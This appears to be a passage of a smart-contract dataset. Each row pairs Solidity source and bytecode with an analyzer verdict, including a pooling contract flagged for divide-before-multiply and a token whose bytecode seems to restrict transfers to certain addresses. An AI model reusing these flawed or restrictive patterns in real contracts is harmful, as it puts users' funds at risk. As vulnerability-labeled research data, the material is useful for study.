7d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600a546009548491849184916001600160a01b039081166101009092041614801561072257506009546001600160a01b0384811661010090920416145b1561089157600a80546001600160a01b0319166001600160a01b038481169190911790915586166107845760405162461bcd60e51b8152600401808060200182810382526025815260200180610e4b6025913960400191505060405180910390fd5b6001600160a01b0385166107c95760405162461bcd60e51b8152600401808060200182810382526023815260200180610d756023913960400191505060405180910390fd5b61080684604051806060016040528060268152602001610ddc602691396001600160a01b0389166000908152600260205260409020549190610ae0565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546108359085610cd1565b6001600160a01b0380871660008181526002602090815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3610ad8565b6009546001600160a01b038481166101009092041614806108bf5750600a546001600160a01b038481169116145b806108dc57506009546001600160a01b0383811661010090920416145b15610926576001600160a01b0386166107845760405162461bcd60e51b8152600401808060200182810382526025815260200180610e4b6025913960400191505060405180910390fd5b600a546001600160a01b038481169116148061094f5750600b546001600160a01b038381169116145b61098a5760405162461bcd60e51b8152600401808060200182810382526026815260200180610ddc6026913960400191505060405180910390fd5b6001600160a01b0386166109cf5760405162461bcd60e51b8152600401808060200182810382526025815260200180610e4b6025913960400191505060405180910390fd5b6001600160a01b038516610a145760405162461bcd60e51b8152600401808060200182810382526023815260200180610d756023913960400191505060405180910390fd5b610a5184604051806060016040528060268152602001610ddc602691396001600160a01b0389166000908152600260205260409020549190610ae0565b6001600160a01b038088166000908152600260205260408082209390935590871681522054610a809085610cd1565b6001600160a01b0380871660008181526002602090815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35b505050505050565b60008184841115610b6f5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610b34578181015183820152602001610b1c565b50505050905090810190601f168015610b615780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b610b7f6105f5565b6001546001600160a01b03908116911614610be1576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038216610c265760405162461bcd60e51b8152600401808060200182810382526021815260200180610e2a6021913960400191505060405180910390fd5b610c6381604051806060016040528060228152602001610d98602291396001600160a01b0385166000908152600260205260409020549190610ae0565b6001600160a01b038316600090815260026020526040902055600654610c899082610d32565b6006556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600082820183811015610d2b576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6000610d2b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ae056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220912862ae09635a287634c3e873f29ccdcafd8edc046d3422d7944e0072f553fc64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}} | 358 |
0xd31418058d7fa4df8da916f62050ead4c35fb8e4 | // Author : shift
pragma solidity ^0.4.18;
//--------- OpenZeppelin's Safe Math
//Source : https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
//-----------------------------------------------------
// ERC20 Interface: https://github.com/ethereum/EIPs/issues/20
contract ERC20 {
function transfer(address _to, uint256 _value) public returns (bool success);
function balanceOf(address _owner) public constant returns (uint256 balance);
}
/*
This contract stores twice every key value in order to be able to redistribute funds
when the bonus tokens are received (which is typically X months after the initial buy).
*/
contract Moongang {
using SafeMath for uint256;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier minAmountReached {
//In reality, the correct amount is the amount + 2.5%
require(this.balance >= SafeMath.div(SafeMath.mul(min_amount, 100), 99));
_;
}
modifier underMaxAmount {
require(max_amount == 0 || this.balance <= max_amount);
_;
}
//Constants of the contract
uint256 constant FEE = 40; //2.5% fee
//SafeMath.div(20, 3) = 6
uint256 constant FEE_DEV = 6; //15% on the 2.5% fee
uint256 constant FEE_AUDIT = 12; //7.5% on the 2.5% fee
address public owner;
address constant public developer = 0xEE06BdDafFA56a303718DE53A5bc347EfbE4C68f;
address constant public auditor = 0x63F7547Ac277ea0B52A0B060Be6af8C5904953aa;
uint256 public individual_cap;
//Variables subject to changes
uint256 public max_amount; //0 means there is no limit
uint256 public min_amount;
//Store the amount of ETH deposited by each account.
mapping (address => uint256) public balances;
mapping (address => uint256) public balances_bonus;
// Track whether the contract has bought the tokens yet.
bool public bought_tokens;
// Record ETH value of tokens currently held by contract.
uint256 public contract_eth_value;
uint256 public contract_eth_value_bonus;
//Set by the owner in order to allow the withdrawal of bonus tokens.
bool public bonus_received;
//The address of the contact.
address public sale;
//Token address
ERC20 public token;
//Records the fees that have to be sent
uint256 fees;
//Set by the owner. Allows people to refund totally or partially.
bool public allow_refunds;
//The reduction of the allocation in % | example : 40 -> 40% reduction
uint256 public percent_reduction;
bool public owner_supplied_eth;
bool public allow_contributions;
//Internal functions
function Moongang(uint256 max, uint256 min, uint256 cap) {
/*
Constructor
*/
owner = msg.sender;
max_amount = SafeMath.div(SafeMath.mul(max, 100), 99);
min_amount = min;
individual_cap = cap;
allow_contributions = true;
}
//Functions for the owner
// Buy the tokens. Sends ETH to the presale wallet and records the ETH amount held in the contract.
function buy_the_tokens() onlyOwner minAmountReached underMaxAmount {
//Avoids burning the funds
require(!bought_tokens && sale != 0x0);
//Record that the contract has bought the tokens.
bought_tokens = true;
//Sends the fee before so the contract_eth_value contains the correct balance
uint256 dev_fee = SafeMath.div(fees, FEE_DEV);
uint256 audit_fee = SafeMath.div(fees, FEE_AUDIT);
owner.transfer(SafeMath.sub(SafeMath.sub(fees, dev_fee), audit_fee));
developer.transfer(dev_fee);
auditor.transfer(audit_fee);
//Record the amount of ETH sent as the contract's current value.
contract_eth_value = this.balance;
contract_eth_value_bonus = this.balance;
// Transfer all the funds to the crowdsale address.
sale.transfer(contract_eth_value);
}
function force_refund(address _to_refund) onlyOwner {
require(!bought_tokens);
uint256 eth_to_withdraw = SafeMath.div(SafeMath.mul(balances[_to_refund], 100), 99);
balances[_to_refund] = 0;
balances_bonus[_to_refund] = 0;
fees = SafeMath.sub(fees, SafeMath.div(eth_to_withdraw, FEE));
_to_refund.transfer(eth_to_withdraw);
}
function force_partial_refund(address _to_refund) onlyOwner {
require(bought_tokens && percent_reduction > 0);
//Amount to refund is the amount minus the X% of the reduction
//amount_to_refund = balance*X
uint256 amount = SafeMath.div(SafeMath.mul(balances[_to_refund], percent_reduction), 100);
balances[_to_refund] = SafeMath.sub(balances[_to_refund], amount);
balances_bonus[_to_refund] = balances[_to_refund];
if (owner_supplied_eth) {
//dev fees aren't refunded, only owner fees
uint256 fee = amount.div(FEE).mul(percent_reduction).div(100);
amount = amount.add(fee);
}
_to_refund.transfer(amount);
}
function set_sale_address(address _sale) onlyOwner {
//Avoid mistake of putting 0x0 and can't change twice the sale address
require(_sale != 0x0);
sale = _sale;
}
function set_token_address(address _token) onlyOwner {
require(_token != 0x0);
token = ERC20(_token);
}
function set_bonus_received(bool _boolean) onlyOwner {
bonus_received = _boolean;
}
function set_allow_refunds(bool _boolean) onlyOwner {
/*
In case, for some reasons, the project refunds the money
*/
allow_refunds = _boolean;
}
function set_allow_contributions(bool _boolean) onlyOwner {
allow_contributions = _boolean;
}
function set_percent_reduction(uint256 _reduction) onlyOwner payable {
require(bought_tokens && _reduction <= 100);
percent_reduction = _reduction;
if (msg.value > 0) {
owner_supplied_eth = true;
}
//we substract by contract_eth_value*_reduction basically
contract_eth_value = contract_eth_value.sub((contract_eth_value.mul(_reduction)).div(100));
contract_eth_value_bonus = contract_eth_value;
}
function change_individual_cap(uint256 _cap) onlyOwner {
individual_cap = _cap;
}
function change_owner(address new_owner) onlyOwner {
require(new_owner != 0x0);
owner = new_owner;
}
function change_max_amount(uint256 _amount) onlyOwner {
//ATTENTION! The new amount should be in wei
//Use https://etherconverter.online/
max_amount = SafeMath.div(SafeMath.mul(_amount, 100), 99);
}
function change_min_amount(uint256 _amount) onlyOwner {
//ATTENTION! The new amount should be in wei
//Use https://etherconverter.online/
min_amount = _amount;
}
//Public functions
// Allows any user to withdraw his tokens.
function withdraw() {
// Disallow withdraw if tokens haven't been bought yet.
require(bought_tokens);
uint256 contract_token_balance = token.balanceOf(address(this));
// Disallow token withdrawals if there are no tokens to withdraw.
require(contract_token_balance != 0);
uint256 tokens_to_withdraw = SafeMath.div(SafeMath.mul(balances[msg.sender], contract_token_balance), contract_eth_value);
// Update the value of tokens currently held by the contract.
contract_eth_value = SafeMath.sub(contract_eth_value, balances[msg.sender]);
// Update the user's balance prior to sending to prevent recursive call.
balances[msg.sender] = 0;
// Send the funds. Throws on failure to prevent loss of funds.
require(token.transfer(msg.sender, tokens_to_withdraw));
}
function withdraw_bonus() {
/*
Special function to withdraw the bonus tokens after the 6 months lockup.
bonus_received has to be set to true.
*/
require(bought_tokens && bonus_received);
uint256 contract_token_balance = token.balanceOf(address(this));
require(contract_token_balance != 0);
uint256 tokens_to_withdraw = SafeMath.div(SafeMath.mul(balances_bonus[msg.sender], contract_token_balance), contract_eth_value_bonus);
contract_eth_value_bonus = SafeMath.sub(contract_eth_value_bonus, balances_bonus[msg.sender]);
balances_bonus[msg.sender] = 0;
require(token.transfer(msg.sender, tokens_to_withdraw));
}
// Allows any user to get his eth refunded before the purchase is made.
function refund() {
require(!bought_tokens && allow_refunds && percent_reduction == 0);
//balance of contributor = contribution * 0.99
//so contribution = balance/0.99
uint256 eth_to_withdraw = SafeMath.div(SafeMath.mul(balances[msg.sender], 100), 99);
// Update the user's balance prior to sending ETH to prevent recursive call.
balances[msg.sender] = 0;
//Updates the balances_bonus too
balances_bonus[msg.sender] = 0;
//Updates the fees variable by substracting the refunded fee
fees = SafeMath.sub(fees, SafeMath.div(eth_to_withdraw, FEE));
// Return the user's funds. Throws on failure to prevent loss of funds.
msg.sender.transfer(eth_to_withdraw);
}
//Allows any user to get a part of his ETH refunded, in proportion
//to the % reduced of the allocation
function partial_refund() {
require(bought_tokens && percent_reduction > 0);
//Amount to refund is the amount minus the X% of the reduction
//amount_to_refund = balance*X
uint256 amount = SafeMath.div(SafeMath.mul(balances[msg.sender], percent_reduction), 100);
balances[msg.sender] = SafeMath.sub(balances[msg.sender], amount);
balances_bonus[msg.sender] = balances[msg.sender];
if (owner_supplied_eth) {
//dev fees aren't refunded, only owner fees
uint256 fee = amount.div(FEE).mul(percent_reduction).div(100);
amount = amount.add(fee);
}
msg.sender.transfer(amount);
}
// Default function. Called when a user sends ETH to the contract.
function () payable underMaxAmount {
require(!bought_tokens && allow_contributions);
//1% fee is taken on the ETH
uint256 fee = SafeMath.div(msg.value, FEE);
fees = SafeMath.add(fees, fee);
//Updates both of the balances
balances[msg.sender] = SafeMath.add(balances[msg.sender], SafeMath.sub(msg.value, fee));
//Checks if the individual cap is respected
//If it's not, changes are reverted
require(individual_cap == 0 || balances[msg.sender] <= individual_cap);
balances_bonus[msg.sender] = balances[msg.sender];
}
} | 0x6080604052600436106101b7576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630107a8df146103b857806303b918dc146103cf578063111485ef146103fe57806318af7021146104295780631a34fe811461046c5780631e4532f114610497578063223db315146104ee578063253c8bd41461051d57806327e235e31461056057806328b8e9cf146105b757806329d98a7b146105ce5780632fbfe951146105fb578063346f2eb714610628578063398f2648146106575780633ccfd60b146106845780633ec045a61461069b57806342263aa2146106f2578063590e1ae3146107355780636360fc3f1461074c578063666375e51461077b578063678f7033146107aa578063689f2456146107ca5780636954abee146107e15780636ad1fe02146108105780637036f9d91461086757806372a85604146108aa5780638d521149146108d55780638da5cb5b14610904578063a8644cd51461095b578063c34dd14114610986578063c42bb1e4146109b1578063ca4b208b146109dc578063ebc56eec14610a33578063f2bee03d14610a62578063fc0c546a14610aa5575b60008060025414806101e257506002543073ffffffffffffffffffffffffffffffffffffffff163111155b15156101ed57600080fd5b600660009054906101000a900460ff161580156102165750600e60019054906101000a900460ff165b151561022157600080fd5b61022c346028610afc565b905061023a600b5482610b17565b600b81905550610292600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461028d3484610b35565b610b17565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600060015414806103275750600154600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b151561033257600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050005b3480156103c457600080fd5b506103cd610b4e565b005b3480156103db57600080fd5b506103e4610e89565b604051808215151515815260200191505060405180910390f35b34801561040a57600080fd5b50610413610e9c565b6040518082815260200191505060405180910390f35b34801561043557600080fd5b5061046a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ea2565b005b34801561047857600080fd5b50610481611062565b6040518082815260200191505060405180910390f35b3480156104a357600080fd5b506104d8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b3480156104fa57600080fd5b50610503611080565b604051808215151515815260200191505060405180910390f35b34801561052957600080fd5b5061055e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611093565b005b34801561056c57600080fd5b506105a1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611157565b6040518082815260200191505060405180910390f35b3480156105c357600080fd5b506105cc61116f565b005b3480156105da57600080fd5b506105f9600480360381019080803590602001909291905050506114b5565b005b34801561060757600080fd5b506106266004803603810190808035906020019092919050505061151a565b005b34801561063457600080fd5b5061065560048036038101908080351515906020019092919050505061157f565b005b34801561066357600080fd5b50610682600480360381019080803590602001909291905050506115f7565b005b34801561069057600080fd5b50610699611670565b005b3480156106a757600080fd5b506106b0611993565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106fe57600080fd5b50610733600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119ab565b005b34801561074157600080fd5b5061074a611a70565b005b34801561075857600080fd5b50610761611bfa565b604051808215151515815260200191505060405180910390f35b34801561078757600080fd5b506107a8600480360381019080803515159060200190929190505050611c0d565b005b6107c860048036038101908080359060200190929190505050611c85565b005b3480156107d657600080fd5b506107df611d82565b005b3480156107ed57600080fd5b506107f6611fc7565b604051808215151515815260200191505060405180910390f35b34801561081c57600080fd5b50610825611fda565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561087357600080fd5b506108a8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612000565b005b3480156108b657600080fd5b506108bf6122a1565b6040518082815260200191505060405180910390f35b3480156108e157600080fd5b506108ea6122a7565b604051808215151515815260200191505060405180910390f35b34801561091057600080fd5b506109196122ba565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561096757600080fd5b506109706122df565b6040518082815260200191505060405180910390f35b34801561099257600080fd5b5061099b6122e5565b6040518082815260200191505060405180910390f35b3480156109bd57600080fd5b506109c66122eb565b6040518082815260200191505060405180910390f35b3480156109e857600080fd5b506109f16122f1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a3f57600080fd5b50610a60600480360381019080803515159060200190929190505050612309565b005b348015610a6e57600080fd5b50610aa3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612381565b005b348015610ab157600080fd5b50610aba612446565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000808284811515610b0a57fe5b0490508091505092915050565b6000808284019050838110151515610b2b57fe5b8091505092915050565b6000828211151515610b4357fe5b818303905092915050565b600080600660009054906101000a900460ff168015610b795750600960009054906101000a900460ff165b1515610b8457600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610c4157600080fd5b505af1158015610c55573d6000803e3d6000fd5b505050506040513d6020811015610c6b57600080fd5b8101908080519060200190929190505050915060008214151515610c8e57600080fd5b610ce2610cda600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461246c565b600854610afc565b9050610d2f600854600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b35565b6008819055506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d6020811015610e6957600080fd5b81019080805190602001909291905050501515610e8557600080fd5b5050565b600e60019054906101000a900460ff1681565b60015481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610eff57600080fd5b600660009054906101000a900460ff16151515610f1b57600080fd5b610f6f610f68600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054606461246c565b6063610afc565b90506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611011600b5461100c836028610afc565b610b35565b600b819055508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561105d573d6000803e3d6000fd5b505050565b60025481565b60056020528060005260406000206000915090505481565b600c60009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110ee57600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff161415151561111457600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60046020528060005260406000206000915090505481565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111cd57600080fd5b6111e46111dd600354606461246c565b6063610afc565b3073ffffffffffffffffffffffffffffffffffffffff16311015151561120957600080fd5b6000600254148061123357506002543073ffffffffffffffffffffffffffffffffffffffff163111155b151561123e57600080fd5b600660009054906101000a900460ff1615801561129457506000600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b151561129f57600080fd5b6001600660006101000a81548160ff0219169083151502179055506112c7600b546006610afc565b91506112d6600b54600c610afc565b90506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611328611322600b5486610b35565b84610b35565b9081150290604051600060405180830381858888f19350505050158015611353573d6000803e3d6000fd5b5073ee06bddaffa56a303718de53a5bc347efbe4c68f73ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156113ae573d6000803e3d6000fd5b507363f7547ac277ea0b52a0b060be6af8c5904953aa73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611409573d6000803e3d6000fd5b503073ffffffffffffffffffffffffffffffffffffffff16316007819055503073ffffffffffffffffffffffffffffffffffffffff1631600881905550600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6007549081150290604051600060405180830381858888f193505050501580156114b0573d6000803e3d6000fd5b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561151057600080fd5b8060018190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561157557600080fd5b8060038190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115da57600080fd5b80600960006101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561165257600080fd5b61166761166082606461246c565b6063610afc565b60028190555050565b600080600660009054906101000a900460ff16151561168e57600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561174b57600080fd5b505af115801561175f573d6000803e3d6000fd5b505050506040513d602081101561177557600080fd5b810190808051906020019092919050505091506000821415151561179857600080fd5b6117ec6117e4600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461246c565b600754610afc565b9050611839600754600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b35565b6007819055506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561194957600080fd5b505af115801561195d573d6000803e3d6000fd5b505050506040513d602081101561197357600080fd5b8101908080519060200190929190505050151561198f57600080fd5b5050565b7363f7547ac277ea0b52a0b060be6af8c5904953aa81565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a0657600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff1614151515611a2c57600080fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600660009054906101000a900460ff16158015611a9b5750600c60009054906101000a900460ff165b8015611aa957506000600d54145b1515611ab457600080fd5b611b08611b01600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054606461246c565b6063610afc565b90506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611baa600b54611ba5836028610afc565b610b35565b600b819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611bf6573d6000803e3d6000fd5b5050565b600660009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c6857600080fd5b80600e60016101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ce057600080fd5b600660009054906101000a900460ff168015611cfd575060648111155b1515611d0857600080fd5b80600d819055506000341115611d34576001600e60006101000a81548160ff0219169083151502179055505b611d70611d5f6064611d518460075461246c90919063ffffffff16565b610afc90919063ffffffff16565b600754610b3590919063ffffffff16565b60078190555060075460088190555050565b600080600660009054906101000a900460ff168015611da357506000600d54115b1515611dae57600080fd5b611e03611dfc600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d5461246c565b6064610afc565b9150611e4e600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b35565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e60009054906101000a900460ff1615611f7c57611f646064611f56600d54611f48602887610afc90919063ffffffff16565b61246c90919063ffffffff16565b610afc90919063ffffffff16565b9050611f798183610b1790919063ffffffff16565b91505b3373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015611fc2573d6000803e3d6000fd5b505050565b600e60009054906101000a900460ff1681565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561205e57600080fd5b600660009054906101000a900460ff16801561207c57506000600d54115b151561208757600080fd5b6120dc6120d5600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d5461246c565b6064610afc565b9150612127600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b35565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e60009054906101000a900460ff16156122555761223d606461222f600d54612221602887610afc90919063ffffffff16565b61246c90919063ffffffff16565b610afc90919063ffffffff16565b90506122528183610b1790919063ffffffff16565b91505b8273ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015801561229b573d6000803e3d6000fd5b50505050565b60035481565b600960009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60085481565b600d5481565b60075481565b73ee06bddaffa56a303718de53a5bc347efbe4c68f81565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561236457600080fd5b80600c60006101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156123dc57600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff161415151561240257600080fd5b80600960016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600084141561248157600091506124a0565b828402905082848281151561249257fe5b0414151561249c57fe5b8091505b50929150505600a165627a7a723058209c08c684bd7c1420eaad4fa36435b7b249ac1a334c5cd2699c47138bb9de2f1a0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 359 |
0x55d260f12a6627a11aa10256f00cfacc48994aa8 | pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
